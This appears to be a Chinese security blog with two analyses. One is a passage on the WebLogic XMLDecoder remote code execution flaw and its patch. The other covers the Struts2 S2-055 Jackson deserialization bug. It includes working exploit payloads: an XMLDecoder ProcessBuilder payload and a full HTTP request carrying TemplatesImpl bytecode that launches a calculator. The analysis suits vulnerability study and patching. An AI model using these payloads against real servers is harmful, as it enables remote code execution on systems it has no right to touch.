是不是觉得变种太多，写法太灵活了，比XStream远程执行代码的要求还低。根据如上poc首先生成JdbcRowSetImpl的实例，接着调用该实例的set方法来初始化该实例的属性，当调用完setAutoCommit接口的时候就会根据dataSourceName的值去远程加载一个类初始化。

针对上面的PoC，官方放出了10271的补丁，补丁如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。如下的测试用例就不可执行：

1
2
3
4
5
<java version="1.4.0" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>calc</string><method name="start" />
    </new>
</java>

2 动态调试

为了更好的理解这个漏洞，我们通过本地的weblogic动态调试一番，PoC还是前面提到的，具体的调用栈如下：
1
2
3

调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }
protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

在上述代码中ByteArrayOutputStream var4会被填充为PoC实际执行部分代码即：

1
2
3
4
5
6
<java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
             。。。
          <void method="start"/></void>
        </java>

接着这部分xml会被传递到XMLDecoder的readObject方法中从而导致反序列化远程代码执行。

总之，尽快打上Weblogic 10月份的补丁。

发表于 | 分类于 | | 阅读次数

1 综述

2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。
相关链接如下：
https://cwiki.apache.org/confluence/display/WW/S2-055
影响版本：
Struts 2.5 - Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本

2 技术分析

从官方的描述来看，这个就是Jackson的反序列化漏洞，由于Jackson在处理反序列的时候需要支持多态，所以在反序列的时候通过指定特定的类来达到实现多态的目的。这个特性默认是不开启的，所以在Struts2中影响也是有限。

2.1 Jackson多态类型绑定

为了让Jackson支持多态，Jackson官方提供了几种方式，下面介绍两种常用方式（https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization）
第一种：全局Default Typing机制，启用代码如下：

1
2
objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

这是一个全局开关，打开之后，在持久化存储数据时会存储准确的类型信息。

第二种：为相应的class添加@JsonTypeInfo注解

1
2
3
public ObjectMapper enableDefaultTyping(DefaultTyping dti) {
    return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY);
}

通过阅读源码也能发现，全局Default Typing机制也是通过JsonTypeInfo来实现的。下面来看一个简单的示例：

1
2
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
class Animal { }  在超类Animal上加上一段@JsonTypeInfo，所有Animal的子类反序列化都可以准确的对于子类型。

这段注解什么意思呢？JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称，如org.codehaus.jackson.sample.Animal,JsonTypeInfo.As.WRAPPER_ARRAY 意为使用数组表示，如

1
2
3
4
5
6
[
    "com.fasterxml.beans.EmployeeImpl",
    {
       ... // actual instance data without any metadata properties
    }
]

2.2 S2-055 环境搭建

了解了Jackson的相关多态的特性之后，为了触发反序列化漏洞，必须开启这个特性，再来看看Struts2的相关代码。由于Jackson不是Struts2 json格式的默认处理句柄，首先修改struts.xml,添加如下代码：

1
2
<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="jackson" class="org.apache.struts2.rest.handler.JacksonLibHandler"/>
    <constant name="struts.rest.handlerOverride.json" value="jackson"/>

这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理，再来分析下JacksonLibHandler的代码，如下所示：

1
2
3
4
5
public void toObject(Reader in, Object target) throws IOException {
        mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false);
        ObjectReader or = mapper.readerForUpdating(target);
        or.readValue(in);
    }

上述代码是处理json反序列的逻辑，很显然没有启用全局Default Typing机制，那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。为了分析这个漏洞，我们还是拿052的环境来做测试，也就是rest-show-case，环境搭建可以参考http://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/，具体的修改如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Order {
    public String id;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
    public Object clientName;
    public int amount;
    
    public Order() {}
    
    public Order(String id, Object clientName, int amount) {
        super();
        this.id = id;
        this.clientName = clientName;
        this.amount = amount;
    }
    public void setClientName(Object clientName) {
        this.clientName = clientName;
    }

修改部分主要在@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; 一个在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。

2.3 PoC构造

Jackson已经暴露了很多种PoC在外，下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例，具体的PoC如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}

首先将ContentType设置为application/json，这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了，必须和前面注解部分绑定，也就是这个字段必须有，很显然，这个漏洞不具有通用性，首先得有一个Object类型的字段，其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。
1